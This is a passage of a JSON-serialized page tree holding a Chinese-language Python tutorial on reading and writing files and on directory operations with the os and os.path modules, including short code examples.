386},"，否则将会抛出异常（没有写入权限）。",{"type":18,"tag":2577,"props":88388,"children":88389},{"color":2579},[88390],{"type":24,"value":88391},"\n注意：在写入文件后一定要调用close()方法关闭文件，否则，写入的内容不会被保存到文件中。这是因为，当我们在写入文件内容时，操作系统不会立即把数据写入磁盘中，而是先缓存起来，只有当调用close()方法时，操作系统才会保证把没有写入的数据全部写入磁盘中。另外，在向文件写入内容后，如果不想马上关闭文件，也可以调用文件对象提供的flush()方法，把缓冲区的内容写入文件中，这样也能保证将全部信息写入文件。\n",{"type":18,"tag":34,"props":88393,"children":88394},{},[88395,88397,88402,88404,88410],{"type":24,"value":88396},"除了",{"type":18,"tag":74,"props":88398,"children":88400},{"className":88399},[],[88401],{"type":24,"value":63631},{"type":24,"value":88403},"方法外，Python还提供了另一种写入方法，即",{"type":18,"tag":74,"props":88405,"children":88407},{"className":88406},[],[88408],{"type":24,"value":88409},"writelines()",{"type":24,"value":88411},"方法，可以实现把字符串列表写入文件，但是不添加换行符。",{"type":18,"tag":337,"props":88413,"children":88415},{"id":88414},"读取文件",[88416],{"type":24,"value":88414},{"type":18,"tag":34,"props":88418,"children":88419},{},[88420],{"type":18,"tag":105,"props":88421,"children":88422},{},[88423],{"type":24,"value":88424},"读取指定字符",{"type":18,"tag":34,"props":88426,"children":88427},{},[88428,88430,88435],{"type":24,"value":88429},"文件对象体提供了",{"type":18,"tag":74,"props":88431,"children":88433},{"className":88432},[],[88434],{"type":24,"value":63639},{"type":24,"value":88436},"方法读取指定个数的字符。其语法格式如下：",{"type":18,"tag":287,"props":88438,"children":88440},{"className":28710,"code":88439,"language":28712,"meta":8,"style":8},"file.read([size])\n",[88441],{"type":18,"tag":74,"props":88442,"children":88443},{"__ignoreMap":8},[88444],{"type":18,"tag":297,"props":88445,"children":88446},{"class":299,"line":300},[88447],{"type":18,"tag":297,"props":88448,"children":88449},{},[88450],{"type":24,"value":88439},{"type":18,"tag":210,"props":88452,"children":88453},{},[88454,88464],{"type":18,"tag":158,"props":88455,"children":88456},{},[88457,88462],{"type":18,"tag":74,"props":88458,"children":88460},{"className":88459},[],[88461],{"type":24,"value":8556},{"type":24,"value":88463},"：打开的文件对象",{"type":18,"tag":158,"props":88465,"children":88466},{},[88467,88472],{"type":18,"tag":74,"props":88468,"children":88470},{"className":88469},[],[88471],{"type":24,"value":37354},{"type":24,"value":88473},"：可选参数，用于指定要读取的字符个数，若省略，则一次性读取所有内容",{"type":18,"tag":96,"props":88475,"children":88476},{},[88477],{"type":18,"tag":34,"props":88478,"children":88479},{},[88480,88481,88486,88488,88493,88494,88499],{"type":24,"value":88366},{"type":18,"tag":74,"props":88482,"children":88484},{"className":88483},[],[88485],{"type":24,"value":63639},{"type":24,"value":88487},"方法读取文件内容的前提是，打开文件时，指定的打开模式为",{"type":18,"tag":74,"props":88489,"children":88491},{"className":88490},[],[88492],{"type":24,"value":87806},{"type":24,"value":52088},{"type":18,"tag":74,"props":88495,"children":88497},{"className":88496},[],[88498],{"type":24,"value":87908},{"type":24,"value":88500},"，否则，将抛出异常信息。",{"type":18,"tag":34,"props":88502,"children":88503},{},[88504,88505,88511,88513,88519,88521,88526],{"type":24,"value":35582},{"type":18,"tag":74,"props":88506,"children":88508},{"className":88507},[],[88509],{"type":24,"value":88510},"read(size)",{"type":24,"value":88512},"方法读取文件时，是从文件的开头读取的。若要读取部分内容，可以先使用文件对象的",{"type":18,"tag":74,"props":88514,"children":88516},{"className":88515},[],[88517],{"type":24,"value":88518},"seek()",{"type":24,"value":88520},"方法将文件的指针移动到新的位置处，然后使用",{"type":18,"tag":74,"props":88522,"children":88524},{"className":88523},[],[88525],{"type":24,"value":88510},{"type":24,"value":88527},"方法进行读取，其语法格式如下：",{"type":18,"tag":287,"props":88529,"children":88531},{"className":28710,"code":88530,"language":28712,"meta":8,"style":8},"file.seek(offset[,whence])\n",[88532],{"type":18,"tag":74,"props":88533,"children":88534},{"__ignoreMap":8},[88535],{"type":18,"tag":297,"props":88536,"children":88537},{"class":299,"line":300},[88538],{"type":18,"tag":297,"props":88539,"children":88540},{},[88541],{"type":24,"value":88530},{"type":18,"tag":210,"props":88543,"children":88544},{},[88545,88555,88574],{"type":18,"tag":158,"props":88546,"children":88547},{},[88548,88553],{"type":18,"tag":74,"props":88549,"children":88551},{"className":88550},[],[88552],{"type":24,"value":8556},{"type":24,"value":88554},"：表示已打开的文件对象",{"type":18,"tag":158,"props":88556,"children":88557},{},[88558,88564,88566,88572],{"type":18,"tag":74,"props":88559,"children":88561},{"className":88560},[],[88562],{"type":24,"value":88563},"offset",{"type":24,"value":88565},"：用于指定移动的字符个数，其具体位置与",{"type":18,"tag":74,"props":88567,"children":88569},{"className":88568},[],[88570],{"type":24,"value":88571},"whence",{"type":24,"value":88573},"相关",{"type":18,"tag":158,"props":88575,"children":88576},{},[88577,88582],{"type":18,"tag":74,"props":88578,"children":88580},{"className":88579},[],[88581],{"type":24,"value":88571},{"type":24,"value":88583},"：用于指定从什么位置开始计算，如果值为0，则表示从头开始计算；如果值为1，则表示从当前位置开始计算，如果值为2，则表示从文件尾开始计算。默认为0.",{"type":18,"tag":96,"props":88585,"children":88586},{},[88587],{"type":18,"tag":34,"props":88588,"children":88589},{},[88590,88592,88597,88599,88604,88606,88611],{"type":24,"value":88591},"对于",{"type":18,"tag":74,"props":88593,"children":88595},{"className":88594},[],[88596],{"type":24,"value":88571},{"type":24,"value":88598},"参数，如果在打开文件时未使用b模式，则只允许从文件头开始计算相对位置。",{"type":18,"tag":74,"props":88600,"children":88602},{"className":88601},[],[88603],{"type":24,"value":88563},{"type":24,"value":88605},"的值按一个汉字占两个字符、英文和数字都占一个字符计算的，这与",{"type":18,"tag":74,"props":88607,"children":88609},{"className":88608},[],[88610],{"type":24,"value":88510},{"type":24,"value":88612},"方法不同。",{"type":18,"tag":34,"props":88614,"children":88615},{},[88616],{"type":24,"value":88617},"例如：若要读取从第10个字符开始读取5个字符，示例代码如下：",{"type":18,"tag":287,"props":88619,"children":88621},{"className":28710,"code":88620,"language":28712,"meta":8,"style":8},"with open('message.txt','r') as file:\n    file.seek(10)\n    string = file.read(5)\n    print(string)\n",[88622],{"type":18,"tag":74,"props":88623,"children":88624},{"__ignoreMap":8},[88625,88633,88641,88649],{"type":18,"tag":297,"props":88626,"children":88627},{"class":299,"line":300},[88628],{"type":18,"tag":297,"props":88629,"children":88630},{},[88631],{"type":24,"value":88632},"with open('message.txt','r') as file:\n",{"type":18,"tag":297,"props":88634,"children":88635},{"class":299,"line":657},[88636],{"type":18,"tag":297,"props":88637,"children":88638},{},[88639],{"type":24,"value":88640},"    file.seek(10)\n",{"type":18,"tag":297,"props":88642,"children":88643},{"class":299,"line":662},[88644],{"type":18,"tag":297,"props":88645,"children":88646},{},[88647],{"type":24,"value":88648},"    string = file.read(5)\n",{"type":18,"tag":297,"props":88650,"children":88651},{"class":299,"line":799},[88652],{"type":18,"tag":297,"props":88653,"children":88654},{},[88655],{"type":24,"value":88656},"    print(string)\n",{"type":18,"tag":34,"props":88658,"children":88659},{},[88660],{"type":18,"tag":105,"props":88661,"children":88662},{},[88663],{"type":24,"value":88664},"读取一行",{"type":18,"tag":34,"props":88666,"children":88667},{},[88668,88670,88676],{"type":24,"value":88669},"文件对象提供了",{"type":18,"tag":74,"props":88671,"children":88673},{"className":88672},[],[88674],{"type":24,"value":88675},"readline()",{"type":24,"value":88677},"方法用于每次读取一行数据，其语法格式如下：",{"type":18,"tag":287,"props":88679,"children":88681},{"className":28710,"code":88680,"language":28712,"meta":8,"style":8},"file.readline()\n",[88682],{"type":18,"tag":74,"props":88683,"children":88684},{"__ignoreMap":8},[88685],{"type":18,"tag":297,"props":88686,"children":88687},{"class":299,"line":300},[88688],{"type":18,"tag":297,"props":88689,"children":88690},{},[88691],{"type":24,"value":88680},{"type":18,"tag":34,"props":88693,"children":88694},{},[88695],{"type":18,"tag":105,"props":88696,"children":88697},{},[88698],{"type":24,"value":88699},"读取全部行",{"type":18,"tag":34,"props":88701,"children":88702},{},[88703,88704,88710],{"type":24,"value":88669},{"type":18,"tag":74,"props":88705,"children":88707},{"className":88706},[],[88708],{"type":24,"value":88709},"readlines()",{"type":24,"value":88711},"方法用于获取全部行，返回值为一个字符串列表，其语法格式如下：",{"type":18,"tag":287,"props":88713,"children":88715},{"className":28710,"code":88714,"language":28712,"meta":8,"style":8},"file.readlines()\n",[88716],{"type":18,"tag":74,"props":88717,"children":88718},{"__ignoreMap":8},[88719],{"type":18,"tag":297,"props":88720,"children":88721},{"class":299,"line":300},[88722],{"type":18,"tag":297,"props":88723,"children":88724},{},[88725],{"type":24,"value":88714},{"type":18,"tag":27,"props":88727,"children":88729},{"id":88728},"目录操作",[88730],{"type":24,"value":88728},{"type":18,"tag":337,"props":88732,"children":88734},{"id":88733},"os-和-ospath-模块",[88735,88740,88741,88747],{"type":18,"tag":74,"props":88736,"children":88738},{"className":88737},[],[88739],{"type":24,"value":63495},{"type":24,"value":8507},{"type":18,"tag":74,"props":88742,"children":88744},{"className":88743},[],[88745],{"type":24,"value":88746},"os.path",{"type":24,"value":88748}," 模块",{"type":18,"tag":34,"props":88750,"children":88751},{},[88752,88753,88758],{"type":24,"value":8550},{"type":18,"tag":74,"props":88754,"children":88756},{"className":88755},[],[88757],{"type":24,"value":63495},{"type":24,"value":88759}," 模块提供的通用变量，可获取与系统有关的信息。常用的变量有以下几个：",{"type":18,"tag":210,"props":88761,"children":88762},{},[88763,88773,88784],{"type":18,"tag":158,"props":88764,"children":88765},{},[88766,88771],{"type":18,"tag":74,"props":88767,"children":88769},{"className":88768},[],[88770],{"type":24,"value":12133},{"type":24,"value":88772},"：用于获取操作系统",{"type":18,"tag":158,"props":88774,"children":88775},{},[88776,88782],{"type":18,"tag":74,"props":88777,"children":88779},{"className":88778},[],[88780],{"type":24,"value":88781},"linesep",{"type":24,"value":88783},"：获取当前操作系统上的换行符",{"type":18,"tag":158,"props":88785,"children":88786},{},[88787,88792],{"type":18,"tag":74,"props":88788,"children":88790},{"className":88789},[],[88791],{"type":24,"value":37805},{"type":24,"value":88793},"：用于获取当前操作系统使用的路径分隔符",{"type":18,"tag":34,"props":88795,"children":88796},{},[88797,88802],{"type":18,"tag":74,"props":88798,"children":88800},{"className":88799},[],[88801],{"type":24,"value":63495},{"type":24,"value":88803}," 模块还提供了一些操作目录的函数，如：",{"type":18,"tag":431,"props":88805,"children":88806},{},[88807,88821],{"type":18,"tag":435,"props":88808,"children":88809},{},[88810],{"type":18,"tag":439,"props":88811,"children":88812},{},[88813,88817],{"type":18,"tag":443,"props":88814,"children":88815},{"align":3465},[88816],{"type":24,"value":81408},{"type":18,"tag":443,"props":88818,"children":88819},{"align":3465},[88820],{"type":24,"value":843},{"type":18,"tag":459,"props":88822,"children":88823},{},[88824,88841,88858,88875,88892,88909,88926,88943],{"type":18,"tag":439,"props":88825,"children":88826},{},[88827,88836],{"type":18,"tag":466,"props":88828,"children":88829},{"align":3465},[88830],{"type":18,"tag":74,"props":88831,"children":88833},{"className":88832},[],[88834],{"type":24,"value":88835},"getcwd()",{"type":18,"tag":466,"props":88837,"children":88838},{"align":3465},[88839],{"type":24,"value":88840},"返回当前的工作目录",{"type":18,"tag":439,"props":88842,"children":88843},{},[88844,88853],{"type":18,"tag":466,"props":88845,"children":88846},{"align":3465},[88847],{"type":18,"tag":74,"props":88848,"children":88850},{"className":88849},[],[88851],{"type":24,"value":88852},"listdir(path)",{"type":18,"tag":466,"props":88854,"children":88855},{"align":3465},[88856],{"type":24,"value":88857},"返回指定路径下的文件和目录信息",{"type":18,"tag":439,"props":88859,"children":88860},{},[88861,88870],{"type":18,"tag":466,"props":88862,"children":88863},{"align":3465},[88864],{"type":18,"tag":74,"props":88865,"children":88867},{"className":88866},[],[88868],{"type":24,"value":88869},"mkdir(path[,mode])",{"type":18,"tag":466,"props":88871,"children":88872},{"align":3465},[88873],{"type":24,"value":88874},"创建目录",{"type":18,"tag":439,"props":88876,"children":88877},{},[88878,88887],{"type":18,"tag":466,"props":88879,"children":88880},{"align":3465},[88881],{"type":18,"tag":74,"props":88882,"children":88884},{"className":88883},[],[88885],{"type":24,"value":88886},"makedirs(path1\u002Fpath2...[,mode])",{"type":18,"tag":466,"props":88888,"children":88889},{"align":3465},[88890],{"type":24,"value":88891},"创建多级目录",{"type":18,"tag":439,"props":88893,"children":88894},{},[88895,88904],{"type":18,"tag":466,"props":88896,"children":88897},{"align":3465},[88898],{"type":18,"tag":74,"props":88899,"children":88901},{"className":88900},[],[88902],{"type":24,"value":88903},"rmdir(path)",{"type":18,"tag":466,"props":88905,"children":88906},{"align":3465},[88907],{"type":24,"value":88908},"删除目录",{"type":18,"tag":439,"props":88910,"children":88911},{},[88912,88921],{"type":18,"tag":466,"props":88913,"children":88914},{"align":3465},[88915],{"type":18,"tag":74,"props":88916,"children":88918},{"className":88917},[],[88919],{"type":24,"value":88920},"removedirs(path1\u002Fpath2)",{"type":18,"tag":466,"props":88922,"children":88923},{"align":3465},[88924],{"type":24,"value":88925},"删除多级目录",{"type":18,"tag":439,"props":88927,"children":88928},{},[88929,88938],{"type":18,"tag":466,"props":88930,"children":88931},{"align":3465},[88932],{"type":18,"tag":74,"props":88933,"children":88935},{"className":88934},[],[88936],{"type":24,"value":88937},"chdir(path)",{"type":18,"tag":466,"props":88939,"children":88940},{"align":3465},[88941],{"type":24,"value":88942},"把path设置为当前工作目录",{"type":18,"tag":439,"props":88944,"children":88945},{},[88946,88955],{"type":18,"tag":466,"props":88947,"children":88948},{"align":3465},[88949],{"type":18,"tag":74,"props":88950,"children":88952},{"className":88951},[],[88953],{"type":24,"value":88954},"walk(top[,topdown[,onerror]])",{"type":18,"tag":466,"props":88956,"children":88957},{"align":3465},[88958],{"type":24,"value":88959},"遍历目录树，该方法返回一个元组，包括所有路径名、所有目录列表和文件列表3个元素",{"type":18,"tag":34,"props":88961,"children":88962},{},[88963,88968],{"type":18,"tag":74,"props":88964,"children":88966},{"className":88965},[],[88967],{"type":24,"value":88746},{"type":24,"value":88969}," 模块也提供了一些操作目录的函数，如：",{"type":18,"tag":431,"props":88971,"children":88972},{},[88973,88987],{"type":18,"tag":435,"props":88974,"children":88975},{},[88976],{"type":18,"tag":439,"props":88977,"children":88978},{},[88979,88983],{"type":18,"tag":443,"props":88980,"children":88981},{"align":3465},[88982],{"type":24,"value":81408},{"type":18,"tag":443,"props":88984,"children":88985},{"align":3465},[88986],{"type":24,"value":843},{"type":18,"tag":459,"props":88988,"children":88989},{},[88990,89007,89024,89041,89058,89075,89092],{"type":18,"tag":439,"props":88991,"children":88992},{},[88993,89002],{"type":18,"tag":466,"props":88994,"children":88995},{"align":3465},[88996],{"type":18,"tag":74,"props":88997,"children":88999},{"className":88998},[],[89000],{"type":24,"value":89001},"abspath(path)",{"type":18,"tag":466,"props":89003,"children":89004},{"align":3465},[89005],{"type":24,"value":89006},"用于获取文件或目录的绝对路径",{"type":18,"tag":439,"props":89008,"children":89009},{},[89010,89019],{"type":18,"tag":466,"props":89011,"children":89012},{"align":3465},[89013],{"type":18,"tag":74,"props":89014,"children":89016},{"className":89015},[],[89017],{"type":24,"value":89018},"exists(path)",{"type":18,"tag":466,"props":89020,"children":89021},{"align":3465},[89022],{"type":24,"value":89023},"用于判断目录或者文件是否存在，bool型",{"type":18,"tag":439,"props":89025,"children":89026},{},[89027,89036],{"type":18,"tag":466,"props":89028,"children":89029},{"align":3465},[89030],{"type":18,"tag":74,"props":89031,"children":89033},{"className":89032},[],[89034],{"type":24,"value":89035},"join(path,name)",{"type":18,"tag":466,"props":89037,"children":89038},{"align":3465},[89039],{"type":24,"value":89040},"将目录与目录或者文件名拼接起来",{"type":18,"tag":439,"props":89042,"children":89043},{},[89044,89053],{"type":18,"tag":466,"props":89045,"children":89046},{"align":3465},[89047],{"type":18,"tag":74,"props":89048,"children":89050},{"className":89049},[],[89051],{"type":24,"value":89052},"splitext()",{"type":18,"tag":466,"props":89054,"children":89055},{"align":3465},[89056],{"type":24,"value":89057},"分离文件名和扩展名",{"type":18,"tag":439,"props":89059,"children":89060},{},[89061,89070],{"type":18,"tag":466,"props":89062,"children":89063},{"align":3465},[89064],{"type":18,"tag":74,"props":89065,"children":89067},{"className":89066},[],[89068],{"type":24,"value":89069},"basename(path)",{"type":18,"tag":466,"props":89071,"children":89072},{"align":3465},[89073],{"type":24,"value":89074},"从一个目录中提取文件名",{"type":18,"tag":439,"props":89076,"children":89077},{},[89078,89087],{"type":18,"tag":466,"props":89079,"children":89080},{"align":3465},[89081],{"type":18,"tag":74,"props":89082,"children":89084},{"className":89083},[],[89085],{"type":24,"value":89086},"dirname(path)",{"type":18,"tag":466,"props":89088,"children":89089},{"align":3465},[89090],{"type":24,"value":89091},"从一个路径中提取文件路径，不包括文件名",{"type":18,"tag":439,"props":89093,"children":89094},{},[89095,89104],{"type":18,"tag":466,"props":89096,"children":89097},{"align":3465},[89098],{"type":18,"tag":74,"props":89099,"children":89101},{"className":89100},[],[89102],{"type":24,"value":89103},"isdir(path)",{"type":18,"tag":466,"props":89105,"children":89106},{"align":3465},[89107],{"type":24,"value":89108},"用于判断是否为有效路径",{"type":18,"tag":337,"props":89110,"children":89112},{"id":89111},"路径",[89113],{"type":24,"value":89111},{"type":18,"tag":34,"props":89115,"children":89116},{},[89117,89122,89124,89129],{"type":18,"tag":105,"props":89118,"children":89119},{},[89120],{"type":24,"value":89121},"当前工作目录",{"type":24,"value":89123},"是指当前文件所在目录的目录。在Python中通过",{"type":18,"tag":74,"props":89125,"children":89127},{"className":89126},[],[89128],{"type":24,"value":88835},{"type":24,"value":89130},"函数获取当前工作目录。如：",{"type":18,"tag":287,"props":89132,"children":89134},{"className":28710,"code":89133,"language":28712,"meta":8,"style":8},"import os\nprint(os.getcwd())\n",[89135],{"type":18,"tag":74,"props":89136,"children":89137},{"__ignoreMap":8},[89138,89145],{"type":18,"tag":297,"props":89139,"children":89140},{"class":299,"line":300},[89141],{"type":18,"tag":297,"props":89142,"children":89143},{},[89144],{"type":24,"value":32731},{"type":18,"tag":297,"props":89146,"children":89147},{"class":299,"line":657},[89148],{"type":18,"tag":297,"props":89149,"children":89150},{},[89151],{"type":24,"value":89152},"print(os.getcwd())\n",{"type":18,"tag":34,"props":89154,"children":89155},{},[89156,89161,89163,89169,89171,89177,89179,89185,89187,89193,89195,89200,89202,89207],{"type":18,"tag":105,"props":89157,"children":89158},{},[89159],{"type":24,"value":89160},"相对路径",{"type":24,"value":89162},"依赖于当前工作目录，即在当前目录下的其他文件或子路径下的文件都可以通过",{"type":18,"tag":74,"props":89164,"children":89166},{"className":89165},[],[89167],{"type":24,"value":89168},"[子路径名\u002F...]\u002F文件",{"type":24,"value":89170},"方式访问。假设在",{"type":18,"tag":74,"props":89172,"children":89174},{"className":89173},[],[89175],{"type":24,"value":89176},"D:file\\code",{"type":24,"value":89178},"目录下存在",{"type":18,"tag":74,"props":89180,"children":89182},{"className":89181},[],[89183],{"type":24,"value":89184},"info",{"type":24,"value":89186},"子目录，子目录下存在",{"type":18,"tag":74,"props":89188,"children":89190},{"className":89189},[],[89191],{"type":24,"value":89192},"demo.txt",{"type":24,"value":89194},"文件。现在要使用",{"type":18,"tag":74,"props":89196,"children":89198},{"className":89197},[],[89199],{"type":24,"value":60612},{"type":24,"value":89201},"函数将",{"type":18,"tag":74,"props":89203,"children":89205},{"className":89204},[],[89206],{"type":24,"value":89192},{"type":24,"value":89208},"文件打开，则可以使用下述代码：",{"type":18,"tag":287,"props":89210,"children":89212},{"className":28710,"code":89211,"language":28712,"meta":8,"style":8},"with open(\"info\u002Fdemo.txt\",'r') as f:\n    message = f.read()\n",[89213],{"type":18,"tag":74,"props":89214,"children":89215},{"__ignoreMap":8},[89216,89224],{"type":18,"tag":297,"props":89217,"children":89218},{"class":299,"line":300},[89219],{"type":18,"tag":297,"props":89220,"children":89221},{},[89222],{"type":24,"value":89223},"with open(\"info\u002Fdemo.txt\",'r') as f:\n",{"type":18,"tag":297,"props":89225,"children":89226},{"class":299,"line":657},[89227],{"type":18,"tag":297,"props":89228,"children":89229},{},[89230],{"type":24,"value":89231},"    message = f.read()\n",{"type":18,"tag":34,"props":89233,"children":89234},{},[89235,89236,89241],{"type":24,"value":70691},{"type":18,"tag":105,"props":89237,"children":89238},{},[89239],{"type":24,"value":89240},"绝对路径",{"type":24,"value":89242},"的方式如下所示：",{"type":18,"tag":287,"props":89244,"children":89246},{"className":28710,"code":89245,"language":28712,"meta":8,"style":8},"with open(\"D:file\u002Fcode\u002Finfo\u002Fdemo.txt\",'r') as f:\n    message = f.read()\n",[89247],{"type":18,"tag":74,"props":89248,"children":89249},{"__ignoreMap":8},[89250,89258],{"type":18,"tag":297,"props":89251,"children":89252},{"class":299,"line":300},[89253],{"type":18,"tag":297,"props":89254,"children":89255},{},[89256],{"type":24,"value":89257},"with open(\"D:file\u002Fcode\u002Finfo\u002Fdemo.txt\",'r') as f:\n",{"type":18,"tag":297,"props":89259,"children":89260},{"class":299,"line":657},[89261],{"type":18,"tag":297,"props":89262,"children":89263},{},[89264],{"type":24,"value":89231},{"type":18,"tag":96,"props":89266,"children":89267},{},[89268],{"type":18,"tag":34,"props":89269,"children":89270},{},[89271,89273,89278,89280,89286,89288,89293,89295,89300,89302,89307,89309,89314],{"type":24,"value":89272},"在指定文件路径时，需要对路径中的 ",{"type":18,"tag":74,"props":89274,"children":89276},{"className":89275},[],[89277],{"type":24,"value":85200},{"type":24,"value":89279}," 使用 ",{"type":18,"tag":74,"props":89281,"children":89283},{"className":89282},[],[89284],{"type":24,"value":89285},"\\\\",{"type":24,"value":89287}," 进行转义操作，或者将 ",{"type":18,"tag":74,"props":89289,"children":89291},{"className":89290},[],[89292],{"type":24,"value":85200},{"type":24,"value":89294}," 替换为 ",{"type":18,"tag":74,"props":89296,"children":89298},{"className":89297},[],[89299],{"type":24,"value":5352},{"type":24,"value":89301},"，若不想修改",{"type":18,"tag":74,"props":89303,"children":89305},{"className":89304},[],[89306],{"type":24,"value":85200},{"type":24,"value":89308},"，也可以在路径字符串前加一个",{"type":18,"tag":74,"props":89310,"children":89312},{"className":89311},[],[89313],{"type":24,"value":87806},{"type":24,"value":111},{"type":18,"tag":34,"props":89316,"children":89317},{},[89318,89320,89325,89326,89332],{"type":24,"value":89319},"若要将两个或者多个路径拼接到一起组成一个新的路径，可以使用",{"type":18,"tag":74,"props":89321,"children":89323},{"className":89322},[],[89324],{"type":24,"value":88746},{"type":24,"value":52671},{"type":18,"tag":74,"props":89327,"children":89329},{"className":89328},[],[89330],{"type":24,"value":89331},"join()",{"type":24,"value":89333},"函数来实现，其具体语法如下：",{"type":18,"tag":287,"props":89335,"children":89337},{"className":28710,"code":89336,"language":28712,"meta":8,"style":8},"os.path.join(path1[,path2,path3...])\n",[89338],{"type":18,"tag":74,"props":89339,"children":89340},{"__ignoreMap":8},[89341],{"type":18,"tag":297,"props":89342,"children":89343},{"class":299,"line":300},[89344],{"type":18,"tag":297,"props":89345,"children":89346},{},[89347],{"type":24,"value":89336},{"type":18,"tag":34,"props":89349,"children":89350},{},[89351,89357,89358,89364],{"type":18,"tag":74,"props":89352,"children":89354},{"className":89353},[],[89355],{"type":24,"value":89356},"path1",{"type":24,"value":1942},{"type":18,"tag":74,"props":89359,"children":89361},{"className":89360},[],[89362],{"type":24,"value":89363},"path2",{"type":24,"value":89365},"等参数代表路径，若该参数中不存在绝对路径，那么最后拼接的结果为一个相对路径。该过程不会检测路径是否存在。",{"type":18,"tag":96,"props":89367,"children":89368},{},[89369],{"type":18,"tag":34,"props":89370,"children":89371},{},[89372,89373,89378],{"type":24,"value":67895},{"type":18,"tag":74,"props":89374,"children":89376},{"className":89375},[],[89377],{"type":24,"value":89331},{"type":24,"value":89379},"函数拼接时，若存在多个绝对路径，那么将以最靠右侧的绝对路径为主，并且该路径之前的参数都将忽视。",{"type":18,"tag":337,"props":89381,"children":89383},{"id":89382},"判断目录是否存在",[89384],{"type":24,"value":89382},{"type":18,"tag":34,"props":89386,"children":89387},{},[89388,89390,89395,89397,89403],{"type":24,"value":89389},"当需要判断路径是否存在时，可以使用",{"type":18,"tag":74,"props":89391,"children":89393},{"className":89392},[],[89394],{"type":24,"value":88746},{"type":24,"value":89396},"模块提供的",{"type":18,"tag":74,"props":89398,"children":89400},{"className":89399},[],[89401],{"type":24,"value":89402},"exists()",{"type":24,"value":89404},"函数，该函数除了可以判断目标是否存在，还可以判断文件是否存在。用法如下：",{"type":18,"tag":287,"props":89406,"children":89408},{"className":28710,"code":89407,"language":28712,"meta":8,"style":8},"import os\nos.path.exists(path)\n",[89409],{"type":18,"tag":74,"props":89410,"children":89411},{"__ignoreMap":8},[89412,89419],{"type":18,"tag":297,"props":89413,"children":89414},{"class":299,"line":300},[89415],{"type":18,"tag":297,"props":89416,"children":89417},{},[89418],{"type":24,"value":32731},{"type":18,"tag":297,"props":89420,"children":89421},{"class":299,"line":657},[89422],{"type":18,"tag":297,"props":89423,"children":89424},{},[89425],{"type":24,"value":89426},"os.path.exists(path)\n",{"type":18,"tag":34,"props":89428,"children":89429},{},[89430,89436,89438,89444],{"type":18,"tag":74,"props":89431,"children":89433},{"className":89432},[],[89434],{"type":24,"value":89435},"path",{"type":24,"value":89437},"为需要判断的路径，绝对或相对路径任意，返回值为",{"type":18,"tag":74,"props":89439,"children":89441},{"className":89440},[],[89442],{"type":24,"value":89443},"bool",{"type":24,"value":89445},"类型。",{"type":18,"tag":337,"props":89447,"children":89448},{"id":88874},[89449],{"type":24,"value":88874},{"type":18,"tag":34,"props":89451,"children":89452},{},[89453,89455,89460],{"type":24,"value":89454},"Python中的",{"type":18,"tag":74,"props":89456,"children":89458},{"className":89457},[],[89459],{"type":24,"value":63495},{"type":24,"value":89461},"模块提供了两个创建目录的方式：",{"type":18,"tag":210,"props":89463,"children":89464},{},[89465,89476],{"type":18,"tag":158,"props":89466,"children":89467},{},[89468,89470],{"type":24,"value":89469},"创建一级目录 ",{"type":18,"tag":74,"props":89471,"children":89473},{"className":89472},[],[89474],{"type":24,"value":89475},"os.mkdir()",{"type":18,"tag":158,"props":89477,"children":89478},{},[89479,89480],{"type":24,"value":88891},{"type":18,"tag":74,"props":89481,"children":89483},{"className":89482},[],[89484],{"type":24,"value":89485},"os.makedirs()",{"type":18,"tag":34,"props":89487,"children":89488},{},[89489],{"type":18,"tag":105,"props":89490,"children":89491},{},[89492],{"type":24,"value":89493},"创建一级目录",{"type":18,"tag":34,"props":89495,"children":89496},{},[89497,89499,89504,89506,89512],{"type":24,"value":89498},"创建一级目录表示一次只能创建一级目录，可以通过",{"type":18,"tag":74,"props":89500,"children":89502},{"className":89501},[],[89503],{"type":24,"value":89475},{"type":24,"value":89505},"实现，若该目录上级不存在，则抛出",{"type":18,"tag":74,"props":89507,"children":89509},{"className":89508},[],[89510],{"type":24,"value":89511},"FileNotFoundError",{"type":24,"value":89513},"异常信息。其语法如下：",{"type":18,"tag":287,"props":89515,"children":89517},{"className":28710,"code":89516,"language":28712,"meta":8,"style":8},"os.mkdir(path,mode=0o777)\n",[89518],{"type":18,"tag":74,"props":89519,"children":89520},{"__ignoreMap":8},[89521],{"type":18,"tag":297,"props":89522,"children":89523},{"class":299,"line":300},[89524],{"type":18,"tag":297,"props":89525,"children":89526},{},[89527],{"type":24,"value":89516},{"type":18,"tag":210,"props":89529,"children":89530},{},[89531,89541],{"type":18,"tag":158,"props":89532,"children":89533},{},[89534,89539],{"type":18,"tag":74,"props":89535,"children":89537},{"className":89536},[],[89538],{"type":24,"value":89435},{"type":24,"value":89540},"：用户指定要创建的目录，绝对或相对路径任意",{"type":18,"tag":158,"props":89542,"children":89543},{},[89544,89549,89551,89557],{"type":18,"tag":74,"props":89545,"children":89547},{"className":89546},[],[89548],{"type":24,"value":87798},{"type":24,"value":89550},"：用于指定数值模式，默认值为",{"type":18,"tag":74,"props":89552,"children":89554},{"className":89553},[],[89555],{"type":24,"value":89556},"0o777",{"type":24,"value":89558},"，该参数非Unix系统将被忽视或无效。",{"type":18,"tag":34,"props":89560,"children":89561},{},[89562],{"type":18,"tag":105,"props":89563,"children":89564},{},[89565],{"type":24,"value":88891},{"type":18,"tag":34,"props":89567,"children":89568},{},[89569,89570,89575],{"type":24,"value":78909},{"type":18,"tag":74,"props":89571,"children":89573},{"className":89572},[],[89574],{"type":24,"value":89485},{"type":24,"value":89576},"实现创建多级目录，该函数通过采用递归的方式创建目录。其语法如下：",{"type":18,"tag":287,"props":89578,"children":89579},{"className":28710,"code":89516,"language":28712,"meta":8,"style":8},[89580],{"type":18,"tag":74,"props":89581,"children":89582},{"__ignoreMap":8},[89583],{"type":18,"tag":297,"props":89584,"children":89585},{"class":299,"line":300},[89586],{"type":18,"tag":297,"props":89587,"children":89588},{},[89589],{"type":24,"value":89516},{"type":18,"tag":210,"props":89591,"children":89592},{},[89593,89602],{"type":18,"tag":158,"props":89594,"children":89595},{},[89596,89601],{"type":18,"tag":74,"props":89597,"children":89599},{"className":89598},[],[89600],{"type":24,"value":89435},{"type":24,"value":89540},{"type":18,"tag":158,"props":89603,"children":89604},{},[89605,89610,89611,89616],{"type":18,"tag":74,"props":89606,"children":89608},{"className":89607},[],[89609],{"type":24,"value":87798},{"type":24,"value":89550},{"type":18,"tag":74,"props":89612,"children":89614},{"className":89613},[],[89615],{"type":24,"value":89556},{"type":24,"value":89558},{"type":18,"tag":337,"props":89618,"children":89619},{"id":88908},[89620],{"type":24,"value":88908},{"type":18,"tag":34,"props":89622,"children":89623},{},[89624,89626,89631,89632,89638],{"type":24,"value":89625},"删除目录可以使用",{"type":18,"tag":74,"props":89627,"children":89629},{"className":89628},[